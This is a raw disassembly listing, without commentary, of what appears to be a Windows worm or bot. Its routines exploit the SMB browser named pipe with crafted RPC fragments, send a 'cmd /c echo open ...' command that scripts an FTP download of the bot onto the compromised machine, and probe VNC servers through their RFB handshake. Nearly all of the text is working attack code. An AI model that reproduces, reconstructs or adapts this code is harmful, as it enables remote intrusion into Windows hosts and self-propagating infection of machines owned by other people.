sub_40C983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9A4	proc near		; DATA XREF: nsp0:0042500Co
		jmp	$+5
sub_40C9A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C9A9	proc near
		mov	eax, dword_434630
		add	eax, 6
		mov	dword_4CC51C, eax
		retn
sub_40C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9B7	proc near		; CODE XREF: sub_40C9B7+D0p
					; sub_40CAA5+471p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40C9CB
		or	[ebp+arg_7], 1
		jmp	short loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C9CB:				; CODE XREF: sub_40C9B7+Cj
		and	[ebp+arg_7], 0FEh


loc_40C9CF:				; CODE XREF: sub_40C9B7+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40C9F3
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40CA05
; ---------------------------------------------------------------------------


loc_40C9F3:				; CODE XREF: sub_40C9B7+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40CA05:				; CODE XREF: sub_40C9B7+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40CA9E
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_418810
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_40CA95
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40CA95
		push	[ebp+arg_20]
		call	sub_4177C1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40CA91
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40C9B7
		add	esp, 2Ch
		jmp	short loc_40CAA0
; ---------------------------------------------------------------------------


loc_40CA91:				; CODE XREF: sub_40C9B7+B3j
		mov	al, 1
		jmp	short loc_40CAA0
; ---------------------------------------------------------------------------


loc_40CA95:				; CODE XREF: sub_40C9B7+9Cj
					; sub_40C9B7+A4j
		push	[ebp+arg_20]
		call	sub_4177C1
		pop	ecx


loc_40CA9E:				; CODE XREF: sub_40C9B7+61j
		xor	al, al


loc_40CAA0:				; CODE XREF: sub_40C9B7+D8j
					; sub_40C9B7+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C9B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAA5	proc near		; CODE XREF: nsp0:0040D0A3p

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_418030
		push	ebx
		push	esi
		push	edi
		push	offset a_	; "."
		push	[ebp+arg_0]
		call	sub_419660
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40CB18
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_20DC]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi
		push	eax
		call	sub_417E90
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
		mov	eax, offset byte_43B9B8
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		call	sub_422268
		jmp	short loc_40CB1D
; ---------------------------------------------------------------------------


loc_40CB18:				; CODE XREF: sub_40CAA5+23j
		mov	esi, 2000h


loc_40CB1D:				; CODE XREF: sub_40CAA5+71j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40CB61


loc_40CB5A:				; CODE XREF: sub_40CAA5+194j
					; sub_40CAA5+36Aj ...
		xor	al, al
		jmp	loc_40CFA5
; ---------------------------------------------------------------------------


loc_40CB61:				; CODE XREF: sub_40CAA5+B3j
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417AA0
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_434684
		push	eax
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	sub_418810
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_434670
		push	eax
		mov	[ebp+var_88], 3
		call	sub_418810
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jnz	short loc_40CC3E


loc_40CC30:				; CODE XREF: sub_40CAA5+265j
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		jmp	loc_40CB5A
; ---------------------------------------------------------------------------


loc_40CC3E:				; CODE XREF: sub_40CAA5+189j
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_4230E8	; ReadFile
		push	ebx
		call	sub_419581
		push	eax
		call	sub_417DE8
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_417AA0
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_417AA0
		add	esp, 20h
		call	sub_417DF2
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_434618[esi], bl
		jz	short loc_40CCB5
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4CC524
		jmp	short loc_40CCC8
; ---------------------------------------------------------------------------


loc_40CCB5:				; CODE XREF: sub_40CAA5+1FCj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	(offset	loc_434667+1)


loc_40CCC8:				; CODE XREF: sub_40CAA5+20Ej
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_418810
		add	esp, 0Ch
		call	sub_417DF2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_417DF2
		cdq
		idiv	edi
		mov	eax, dword_43460C[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40CC30
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417AA0
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417AA0
		mov	eax, dword_434614[esi]
		push	7
		add	eax, edi
		push	offset dword_434600
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_418810
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_4344A0
		push	eax
		call	sub_418810
		mov	eax, dword_434610[esi]
		add	esp, 30h
		cmp	byte_434618[esi], bl
		mov	[ebp+arg_4], eax
		jz	short loc_40CDC1
		push	4
		add	eax, edi
		push	offset dword_4CC51C
		push	eax
		call	sub_418810
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_434630
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_418810
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_418810
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_418810
		add	esp, 30h
		jmp	short loc_40CDE9
; ---------------------------------------------------------------------------


loc_40CDC1:				; CODE XREF: sub_40CAA5+2CDj
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+arg_4], eax
		mov	esi, offset dword_434630


loc_40CDD2:				; CODE XREF: sub_40CAA5+342j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	sub_418810
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40CDD2


loc_40CDE9:				; CODE XREF: sub_40CAA5+31Aj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40CE14
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		push	edi
		call	sub_4177C1
		pop	ecx
		jmp	loc_40CB5A
; ---------------------------------------------------------------------------


loc_40CE14:				; CODE XREF: sub_40CAA5+358j
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_417AA0
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_418810
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	flt_423694
		fstp	[esp+0Ch+var_10+4]
		call	sub_418CBF
		call	sub_418C98
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_418810
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40CE81


loc_40CE79:				; CODE XREF: sub_40CAA5+3D7j
		inc	eax
		test	al, 3
		jnz	short loc_40CE79
		mov	[ebp+arg_4], eax


loc_40CE81:				; CODE XREF: sub_40CAA5+3D2j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_418810
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_4177C1
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_417AA0
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_417AA0
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4230E4	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	dword ptr [ebp+var_10+4], ebx


loc_40CEEE:				; CODE XREF: sub_40CAA5+4D3j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40CF83
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp+var_10+4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_40C9B7
		add	esp, 2Ch
		test	al, al
		jz	short loc_40CF80
		cmp	[ebp+var_4C], ebx
		jz	short loc_40CF72
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jnz	short loc_40CF59
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40CB5A


loc_40CF59:				; CODE XREF: sub_40CAA5+4A1j
		push	3E8h
		push	[ebp+var_4C]
		call	dword_4230A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40CF72
		mov	byte ptr [ebp+arg_0+3],	1


loc_40CF72:				; CODE XREF: sub_40CAA5+480j
					; sub_40CAA5+4C7j
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_40CEEE
		jmp	short loc_40CF83
; ---------------------------------------------------------------------------


loc_40CF80:				; CODE XREF: sub_40CAA5+47Bj
		mov	esi, [ebp+var_8]


loc_40CF83:				; CODE XREF: sub_40CAA5+44Dj
					; sub_40CAA5+4D9j
		push	[ebp+var_4]
		mov	edi, dword_423068
		call	edi	; CloseHandle
		push	esi
		call	sub_4177C1
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40CF9F
		push	[ebp+var_4C]
		call	edi	; CloseHandle


loc_40CF9F:				; CODE XREF: sub_40CAA5+4F3j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al


loc_40CFA5:				; CODE XREF: sub_40CAA5+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CAA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFAA	proc near		; CODE XREF: nsp0:0040D0C1p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4231F0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4231F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D078
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D078
		mov	edi, 400h
		push	esi
		mov	esi, dword_4231FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_4250EC
		push	eax
		push	eax
		push	dword_4C9540
		push	[ebp+arg_0]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D07C


loc_40D078:				; CODE XREF: sub_40CFAA+50j
					; sub_40CFAA+62j
		xor	eax, eax
		jmp	short loc_40D093
; ---------------------------------------------------------------------------


loc_40D07C:				; CODE XREF: sub_40CFAA+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_423200	; closesocket
		push	1
		pop	eax


loc_40D093:				; CODE XREF: sub_40CFAA+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CFAA	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx


loc_40D09D:				; CODE XREF: nsp0:0040D0E3j
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40CAA5
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40D0D0
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CFAA
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40D0E5


loc_40D0D0:				; CODE XREF: nsp0:0040D0ACj
		test	ebx, ebx
		jnz	short loc_40D0DF
		push	7D0h
		call	dword_423078	; Sleep


loc_40D0DF:				; CODE XREF: nsp0:0040D0D2j
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40D09D


loc_40D0E5:				; CODE XREF: nsp0:0040D0CEj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0EC	proc near		; CODE XREF: sub_40D1DA+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4231F0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4231F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D1BA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D1BA
		mov	edi, 400h
		push	esi
		mov	esi, dword_4231FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_4250EC
		push	eax
		push	eax
		push	dword_4C9540
		push	[ebp+arg_0]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D1BE


loc_40D1BA:				; CODE XREF: sub_40D0EC+50j
					; sub_40D0EC+62j
		xor	eax, eax
		jmp	short loc_40D1D5
; ---------------------------------------------------------------------------


loc_40D1BE:				; CODE XREF: sub_40D0EC+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_423200	; closesocket
		push	1
		pop	eax


loc_40D1D5:				; CODE XREF: sub_40D0EC+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D0EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1DA	proc near		; CODE XREF: sub_40B229+1E6p
					; DATA XREF: nsp0:off_43387Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4C9838	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4C97FC	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423204	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D24C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D22D
		push	esi
		jmp	short loc_40D246
; ---------------------------------------------------------------------------


loc_40D22D:				; CODE XREF: sub_40D1DA+4Ej
		push	0
		push	1213h
		push	offset dword_43472C
		push	esi
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40D250


loc_40D246:				; CODE XREF: sub_40D1DA+51j
		call	dword_423200	; closesocket


loc_40D24C:				; CODE XREF: sub_40D1DA+3Cj
		xor	eax, eax
		jmp	short loc_40D292
; ---------------------------------------------------------------------------


loc_40D250:				; CODE XREF: sub_40D1DA+6Aj
		call	dword_423200	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D0EC
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40D28F
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_433880[eax]
		lea	eax, dword_433880[eax]


loc_40D28F:				; CODE XREF: sub_40D1DA+9Ej
		push	1
		pop	eax


loc_40D292:				; CODE XREF: sub_40D1DA+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40D1DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D296	proc near		; CODE XREF: nsp0:0040D384p
					; nsp0:0040D3E6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40D29E:				; CODE XREF: sub_40D296+2Dj
		test	edi, edi
		jle	short loc_40D2C9
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C9814	; recv
		test	eax, eax
		jz	short loc_40D2C5
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2C5
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40D29E
; ---------------------------------------------------------------------------


loc_40D2C5:				; CODE XREF: sub_40D296+22j
					; sub_40D296+27j
		xor	eax, eax
		jmp	short loc_40D2CC
; ---------------------------------------------------------------------------


loc_40D2C9:				; CODE XREF: sub_40D296+Aj
		push	1
		pop	eax


loc_40D2CC:				; CODE XREF: sub_40D296+31j
		pop	edi
		pop	esi
		retn
sub_40D296	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2CF	proc near		; CODE XREF: nsp0:0040D3D0p
					; nsp0:0040D3FDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40D30C
		xor	esi, esi
		test	edi, edi
		jle	short loc_40D306


loc_40D2DF:				; CODE XREF: sub_40D2CF+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D30C
		test	eax, eax
		jz	short loc_40D30C
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40D2DF


loc_40D306:				; CODE XREF: sub_40D2CF+Ej
		push	1
		pop	eax


loc_40D309:				; CODE XREF: sub_40D2CF+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40D30C:				; CODE XREF: sub_40D2CF+8j
					; sub_40D2CF+2Bj ...
		xor	eax, eax
		jmp	short loc_40D309
sub_40D2CF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_435970
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4C9878	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40D33E
		push	eax
		jmp	short loc_40D372
; ---------------------------------------------------------------------------


loc_40D33E:				; CODE XREF: nsp0:0040D339j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9838	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4C97FC	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D37D
		push	ebx


loc_40D372:				; CODE XREF: nsp0:0040D33Cj
		call	dword_4C9890	; closesocket
		jmp	loc_40D578
; ---------------------------------------------------------------------------


loc_40D37D:				; CODE XREF: nsp0:0040D36Fj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_418B45
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40D571
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40D3C9
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40D571


loc_40D3C9:				; CODE XREF: nsp0:0040D3BDj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40D2CF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40D2CF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
